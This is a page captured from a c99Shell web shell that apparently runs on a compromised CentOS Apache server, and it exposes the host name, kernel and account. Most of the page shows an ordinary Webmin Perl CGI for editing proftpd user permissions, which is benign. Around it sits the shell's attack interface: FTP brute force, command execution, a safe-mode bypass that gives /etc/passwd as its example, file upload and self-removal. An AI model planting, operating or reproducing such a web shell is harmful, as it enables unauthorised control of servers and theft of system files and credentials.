!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/proftpd/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     userpermissions_form.cgi (16.7 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# userpermissions_form.cgi
# Display a the list of users and their permissions
# Author: Mattias Gaertner
#
# Abstract:
#   - Allows editing the user permissions for a directory with an 
#     .ftpaccess file.
#   - It has a select field to easily add a user to the .ftpaccess file.
#   - Shows a list of users with their permissions.
#   - Provides minimum allowed commands (at the moment hardcoded in
#     $MiniumCommands).
#     These commands will applied to any new and changed permissions.
#   - Shows names instead of the hard to remember FTP abbreviations
#     (e.g. PBSZ).
#   - Commands can be combined. For example: RNFR and RNTO are shown 
#     as only one permission.
#   - adds automatically a DenyAll All limit, so the default is to allow
#     nothing.
#   
# ToDos:
#   - multi language support 
#   - a page to config the minimum commands
#   - a page to config the tuples (combined commands)
#   - Probably some functions already exists in webmin and can be replaced

require './proftpd-lib.pl';

&ReadParse();

# read .ftpaccess file
$file = $in{'file'};
$title = &text('ftpindex_header', "<tt>$in{'file'}</tt>");
$return = "ftpaccess_index.cgi";
$rmsg = $text{'ftpindex_return'};

&ui_print_header($title, "Edit User Permissions", "",
    undef, undef, undef, undef, &restart_button());

#########################################
# Navigation parameters
foreach $h ('virt', 'idx', 'file', 'limit', 'anon', 'global') {
    if (defined($in{$h})) {
    $NavigationData.="<input type=hidden name=$h value='$in{$h}'>\n";
    push(@args, "$h=$in{$h}");
    }
}
$args = join('&', @args);


# These are the FTP Commands, that any user have
$MinimumCommands="CWD XCWD CDUP XCUP PORT PASS PASV EPRT EPSV"
  ." PWD XPWD SIZE HELP NOOP AUTH ABORT USER LIST TYPE PROT QUIT PBSZ MDTM MODE";

$Commands{"CWD"}="Change working directory";
$Commands{"XCWD"}=""; 
$Commands{"CDUP"}="";
$Commands{"XCUP"}="";
$Commands{"PORT"}="";
$Commands{"PASV"}="enter passive mode";
$Commands{"EPRT"}="";
$Commands{"EPSV"}="";
$Commands{"RNFR"}="Rename From";
$Commands{"RNTO"}="Rename To";
$Commands{"DELE"}="Delete File";
$Commands{"RMD"}="Remove Directory";
$Commands{"XRMD"}="X Remove Directory";
$Commands{"MKD"}="Create Directory";
$Commands{"XMKD"}="X Create Directory";
$Commands{"MODE"}="";
$Commands{"PWD"}="";
$Commands{"XPWD"}="";
$Commands{"SIZE"}="";
$Commands{"SITE_CHMOD"}="Change Unix File Permissions";
$Commands{"STAT"}="Return Server Status";
$Commands{"SYST"}="Prints System Info";
$Commands{"HELP"}="";
$Commands{"NOOP"}="";
$Commands{"AUTH"}="";
$Commands{"PBSZ"}="";
$Commands{"PROT"}="";
$Commands{"TYPE"}="Set Transfer Type";
$Commands{"MODE"}="Set Transfer Mode";
$Commands{"MDTM"}="List Modification Time";
$Commands{"RETR"}="Retrieve (Read)";
$Commands{"STOR"}="Store (Write)";
$Commands{"STOU"}="Store Unique";
$Commands{"APPE"}="Append";
$Commands{"REST"}="Restart Write";
$Commands{"ABOR"}="Abort";
$Commands{"USER"}="";
$Commands{"PASS"}="";
$Commands{"LIST"}="List remote files";
$Commands{"QUIT"}="";
$Commands{"TupleRMD"} = "Remove Directory";
$Commands{"TupleMKD"} = "Make Directory";
$Commands{"TupleRN"} = "Rename";
$Commands{"TuplePWD"} = "Print Working Directory";

# Not implemented by proftpd:
#$Commands{"STRU"}="Specify File Structure";

# Here you can group commands
$CommandTuples{"TupleRMD"} = "RMD XRMD";
$CommandTuples{"TupleMKD"} = "MKD XMKD";
$CommandTuples{"TupleRN"} = "RNFR RNTO";
$CommandTuples{"TuplePWD"} = "PWD XPWD";

# Create CommandToTuple array
foreach $TupleName(sort keys %CommandTuples){
    foreach $Command(split (" ",$CommandTuples{$TupleName})){
    next unless ($Command);
    $CommandToTuple{$Command}=$TupleName;
    } 
}


#########################################
# Get user list and read old permissions
&GetUsers();
&GetFTPAccessUserPerms($file);

#########################################
# Parse Input and update .ftpaccess file

foreach $ParamName(keys %in){
    #print "Name=\"$ParamName\" Value=\"".$in{$ParamName}."\"<br>\n";
    if($ParamName eq "AddUser"){
    $Username=$in{$ParamName};
    if($Username =~ /^[a-zA-Z0-9_]+$/){
        &AddUser($Username,$file);
    }
    }
    if($ParamName eq "DeleteUser"){
    $Username=$in{$ParamName};
    if($Username =~ /^[a-zA-Z0-9_]+$/){
        if($in{"Confirm Delete User"} eq "on"){
        &DeleteUser($Username,$file);
        #print "New used usernames: $UsedUsernames<br>\n";
        } else {
        print "<H2>To really delete a user, please check the confim checkbox.</H2>\n";
        }
    }
    }
    if($ParamName eq "ChangePermissions"){
    $Username=$in{$ParamName};
    if($Username =~ /^[a-zA-Z0-9_]+$/){
        &ChangePermissions($Username,$file);
    }
    }
}


#########################################
# select box and button for add user
print "<form action=userpermissions_form.cgi method=get>\n";
print $NavigationData;
print "<H3>Add an User to the permission table</H3>\n";
print "<select name=\"AddUser\">\n";
foreach $Username (sort split(" ",$Usernames)){
    print "<option value=\"$Username\">$Username</option>\n";
}
print "</select>\n";
print "<input type=submit value=\"Add User\"><br>\n";
print "</form>\n";

#########################################
# Print Permissions

$MaxColumns=4;
foreach $Username(sort split (" ",$UsedUsernames)){
    #print "User: $Username  Allowed=\"".$UserAllowedCommands{$Username}."\" Denied=\"".$UserDeniedCommands{$Username}."\"\n";
    print "<form action=userpermissions_form.cgi method=get>\n";
    print $NavigationData;
    print "<input type=hidden name=\"ChangePermissions\" value=\"".$Username."\">\n";
    print "<HR WIDTH=\"100%\">\n";
    print "<H2>User: $Username</H2>\n";
    print "<table border=1>\n";
    $Column=0;
    $Row=0;
    foreach $Command(sort keys %Commands){
    if($MinimumCommands =~ /$Command/i){
        # skip minimum permissions, that all users are allowed to
        next;
    }
    if($CommandToTuple{$Command}){
        # skip commands that belong to a tuple
        next;
    }
    $FTPCommands=$Command;
    if($CommandTuples{$FTPCommands}){
        $FTPCommands = $CommandTuples{$FTPCommands};
    }


    if($Column == 0){
        if($Row==0){
        print "  <tr>\n";
        for ($i=0; $i<$MaxColumns; $i++){
            print "    <td>Command</td><td>Allow/Deny/Default</td>\n";
        }
        print "  </tr>\n";
        }
        print "  <tr>\n";
    }
    $CommandDesc=$Commands{$Command};
    if(!$CommandDesc){
        $CommandDesc = $Command;
    }
    print "    <td>$CommandDesc</td><td>\n";
    if(&CommandContains($UserAllowedCommands{$Username},$FTPCommands)){
        $AllowChecked=" checked";
    } else {
        $AllowChecked="";
    }
    if(&CommandContains($UserDeniedCommands{$Username},$FTPCommands)){
        $DenyChecked=" checked";
    } else {
        $DenyChecked="";
    }
    if($AllowChecked || $DenyChecked){
        $DefaultChecked = "";
    } else {
        $DefaultChecked = " checked";
    }
    print "      <input type=\"radio\" name=\"".$Command."\" value=\"allow\"".$AllowChecked.">\n";
    print "      <input type=\"radio\" name=\"".$Command."\" value=\"deny\"".$DenyChecked.">\n";
    print "      <input type=\"radio\" name=\"".$Command."\" value=\"default\"".$DefaultChecked.">\n";
    print "    </td>";
    $Column++;
    if($Column == $MaxColumns){
        print "  </tr>\n";
        $Column=0;
        $Row++;
    }
    }
    if($Column > 0){
    print "  </tr>\n";
    }
    print "</table>\n";
    print "<input type=submit value=\"Change Permissions\">\n";
    print "</form><br>\n";

    print "<form action=userpermissions_form.cgi method=get>\n";
    print $NavigationData;
    print "<input type=hidden name=\"DeleteUser\" value=\"".$Username."\">\n";
    print "<input type=submit value=\"Delete User Permissions\">\n";
    print "<input type=checkbox name=\"Confirm Delete User\">I'm sure<br>\n";
    print "</form>\n";
}


#########################################
# print textarea

print "<HR WIDTH=100%>\n";
print &text('manual_header', "<tt>$file</tt>"),"<p>\n";

print "<form action=manual_save.cgi method=post enctype=multipart/form-data>\n";
print $NavigationData;

print "<br><textarea rows=15 cols=80 name=directives>\n";
$lref = &read_file_lines($file);
if (!defined($start)) {
    $start = 0;
    $end = @$lref - 1;
    }
for($i=$start; $i<=$end; $i++) {
    print &html_escape($lref->[$i]),"\n";
    }
print "</textarea><br><input type=submit value=\"$text{'save'}\"></form>\n";

#########################################
# print footer

&ui_print_footer("$return?$args", $rmsg);

exit;

#########################################################

sub GetUsers(){
    my $UserCount=0;
    setpwent();
    while(my @uinfo = getpwent()) {
    if ($uinfo[2] > 100) {
        $UserCount++;
                $Users[$UserCount]=$uinfo[0];
        $Usernames.=" ".$uinfo[0];
    }
    }
    endpwent();
}

sub GetFTPAccessUserPerms(){
    # Fills global variables:
    # $UsedUsernames, %UserAllowedCommands, %UserDeniedCommands

    my ($FTPAccessFile) = @_;

    ##################################################
    # Read .ftpaccess file
    my $Commands = "";

    open FTPACCESS, "$FTPAccessFile" or &error("Can't open $FTPAccessFile: $!");
    while (my $line=<FTPACCESS>){
        chomp $line;
        #print $line."\n";
        if($line =~ /<Limit (.*)>/i){
            $Commands = $1;
            #print "Limit $Commands\n";
        }
        if($line =~ /<\/Limit(.*)>/i){
            $Commands = "";
            #print "End Limit $Commands\n";
        }
        if($Commands){
            #print "$line\n";
            if($line =~ /AllowUser (.+)/i){
                my $AllowedUsernames = $1;
                #print "AllowUser $AllowedUsernames\n";
                foreach $AllowedUsername (split (" ",$AllowedUsernames)){
                    next unless ($AllowedUsername);
                    $UserAllowedCommands{$AllowedUsername}.=" ".$Commands;
                    #print "AllowUser $AllowedUsername\n";
                }
            }
            if($line =~ /DenyUser (.+)/i){
                my $DeniedUsernames = $1;
                foreach $DeniedUsername (split (" ",$DeniedUsernames)){
                    next unless ($DeniedUsername);
                    $UserDeniedCommands{$DeniedUsername}.=" ".$Commands;
                }
            }
        }
    }
    close FTPACCESS;

    ##################################################
    # collect all mentioned users in table
    $UsedUsernames="";
    foreach $Username(keys %UserAllowedCommands){
        #print "Adding $Username\n";
    $UserAllowedCommands{$Username}=
        &UnifyAndExpandCommands($UserAllowedCommands{$Username}." ".$Commands);
        if($UsedUsernames !~ /\b$Username\b/){
            $UsedUsernames.=$Username." ";
        }
    }
    foreach $Username(keys %UserDeniedCommands){
    $UserDeniedCommands{$Username}=
        &UnifyAndExpandCommands($UserDeniedCommands{$Username}." ".$Commands);
        if($UsedUsernames !~ /\b$Username\b/){
            $UsedUsernames.=$Username." ";
        }
    }
}

sub UnifyAndExpandCommands(){
    (my $Commands) = @_;
    my $NewCommands = "";
    foreach $Command(split(" ",$Commands)){
    next unless($Command);
    if($CommandTuples{$Command}){
        $NewCommands.=" ".$CommandTuples{$Command};
    } else {
        $NewCommands.=" ".$Command;
    }
    }
    return &UnifyCommands($NewCommands);
}

sub UnifyCommands(){
    (my $Commands) = @_;
    my $NewCommands = "";
    foreach $Command(split(" ",$Commands)){
    next unless($Command);
    next if($NewCommands =~ /\b$Command\b/i);
    if($NewCommands){
        $NewCommands.=" ";
    }
    $NewCommands.=$Command;
    }
    return $NewCommands;
}

sub AddUser(){
    (my $Username, $FTPAccessFile) = @_;

    if($Usernames =~ /\b$Usernames\b/){
    print "<H2>Username $Username does not exist.</H2>\n";
    return;
    }

    if ($UserAllowedCommands{$Username} || $UserDeniedCommands{$Username}){
    # user already exists
    print "<H2>Username $Username already exists.</H2>\n";
    return;
    }
    $UserAllowedCommands{$Username}=$MinimumCommands;
    $UserDeniedCommands{$Username}="";
    if($UsedUsernames !~ /\b$Username\b/){
    $UsedUsernames.=$Username." ";
    }

    &WritePermissions($FTPAccessFile);
}

sub DeleteUser(){
    (my $Username, $FTPAccessFile) = @_;

    if($UsedUsernames =~ /\b$Usernames\b/){
    print "<H2>Username $Username does not exist in table.</H2>\n";
    return;
    }

    if ((!$UserAllowedCommands{$Username}) && (!$UserDeniedCommands{$Username})){
    # user already deleted
    print "<H2>Username $Username is already not in table.</H2>\n";
    return;
    }
    $UserAllowedCommands{$Username}="";
    $UserDeniedCommands{$Username}="";
    $UsedUsernames =~ s/\b$Username\b *//;

    &WritePermissions($FTPAccessFile);
}

sub ChangePermissions(){
    (my $Username, $FTPAccessFile) = @_;

    if($UsedUsernames =~ /\b$Usernames\b/){
    print "<H2>Username $Username does not exist in table.</H2>\n";
    return;
    }

    foreach $Command(keys %Commands){
    #print "$Command value=".$in{$Command}."<br>\n";

    if($CommandToTuple{$Command}){
        # skip commands in tuples
        next;
    }

    my $FTPCommands=$Command;
    if($CommandTuples{$FTPCommands}){
        $FTPCommands = $CommandTuples{$FTPCommands};
    }

    if ($in{$Command} eq "allow"){
        $UserAllowedCommands{$Username}.=" ".$FTPCommands;
        #print "Allow $Username $Command<br>\n";
    } else {
        $UserAllowedCommands{$Username} =
        &RemoveCommands($UserAllowedCommands{$Username},$FTPCommands);
    }
    if ($in{$Command} eq "deny"){
        $UserDeniedCommands{$Username}.=" ".$FTPCommands;
        #print "Deny $Username $Command<br>\n";
    } else {
        $UserDeniedCommands{$Username} =
        &RemoveCommands($UserDeniedCommands{$Username},$FTPCommands);
    }
    }
    $UserAllowedCommands{$Username}=
    &UnifyCommands($MinimumCommands." ".$UserAllowedCommands{$Username});
    $UserDeniedCommands{$Username}=
    &UnifyCommands($UserDeniedCommands{$Username});

    &WritePermissions($FTPAccessFile);
}

sub WritePermissions(){
    # Read .ftpaccess file, remove all user command permissions
    # and add new set of user permissions
    (my $FTPAccessFile) = @_;
    my $NewConfig = "";
    my $OldCommands = "";
    my $Username;

    # Lock .ftpaccess file
    &lock_file($FTPAccessFile);
    &lock_file($FTPAccessFile);


    # Read old .ftpaccess file
    open FTPACCESS, "$FTPAccessFile" or die "Can't read $FTPAccessFile: $!";
    $DenyAllBlockFound = 0;
    while(my $line = <FTPACCESS>){
    my $ShortLine = $line;
    chomp $ShortLine;
        #print $ShortLine."\n";
        if($ShortLine =~ /<Limit (.*)>/i){
        # start of Limit block
            $OldCommands = $1;
            #print "Limit $OldCommands\n";
        $LimitBlock = $line;
        $ImportantLimitLineFound = 0;
        $DenyAllFound = 0;
        } elsif($ShortLine =~ /<\/Limit(.*)>/i){
        # end of Limit block
            #print "End Limit $OldCommands\n";
        $LimitBlock .= $line;
        if($ImportantLimitLineFound){
        $NewConfig .= $LimitBlock;
        }
        if(($OldCommands =~ /\bALL\b/i) && ($DenyAllFound)){
        # this was a DenyAll for All commands block
        $DenyAllBlockFound = 1;
        }
            $OldCommands = "";
        } elsif($OldCommands){
            #print "$ShortLine\n";
            if($ShortLine =~ /AllowUser (.*)/i){
        # AllowUser line -> will be replaced, not important
            } elsif($ShortLine =~ /DenyUser (.*)/i){
        # DenyUser line -> will be replaced, not important
            } elsif($ShortLine =~ /^ +$/){
        # empty line -> not important, but keep it for readability
        $LimitBlock .= $line;
        } else {
        # other limit directive -> important
        $LimitBlock .= $line;
        $ImportantLimitLineFound = 1;
        if($ShortLine =~ /\bDenyAll\b/i){
            $DenyAllFound = 1;
        }
        }
        } else {
        # other directives -> keep
        $NewConfig .= $line;
    }
    }
    close FTPACCESS;

    # Append new directives

    # Append DenyAll block if not already there
    if(!$DenyAllBlockFound){
    $NewConfig.="<Limit All>\n";
    $NewConfig.="  DenyAll\n";
    $NewConfig.="</Limit>\n";
    }

    # Append Limit blocks for users
    foreach $Username (sort split(" ",$Usernames)){
    my $CurAllow = $UserAllowedCommands{$Username};
    if ($CurAllow){
        $NewConfig.="<Limit ".$CurAllow.">\n";
        $NewConfig.="  AllowUser ".$Username."\n";
        $NewConfig.="</Limit>\n";
    }
    my $CurDeny = $UserDeniedCommands{$Username};
    if ($CurDeny){
        $NewConfig.="<Limit ".$CurDeny.">\n";
        $NewConfig.="  DenyUser ".$Username."\n";
        $NewConfig.="</Limit>\n";
    }
    }
    #print "<br>\n".$NewConfig."<br>\n";

    # Write new .ftpaccess file
    open FTPACCESS, "> $FTPAccessFile" or die "Can't append to $FTPAccessFile: $!";
    print FTPACCESS $NewConfig;
    close FTPACCESS;

    # Unlock .ftpaccess file
    &unlock_file($FTPAccessFile);

    $logtype = 'ftpaccess'; 
    $logname = $in{'file'};
    &webmin_log($logtype, "user permissions", $logname, \%in);
}

sub CommandContains(){
    (my $Commands, my $SubSet) = @_;
    foreach my $Command(split(" ",$SubSet)){
    next unless($Command);
    if($Commands =~ /\b$Command\b/i){
        return 1;
    }
    }
    return 0;
}

sub RemoveCommands(){
    (my $Commands, my $SubSet) = @_;
    foreach my $Command(split(" ",$SubSet)){
    next unless($Command);
    $Commands =~ s/\b$Command\b *//gi;
    }
    return $Commands;
}

# end.

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--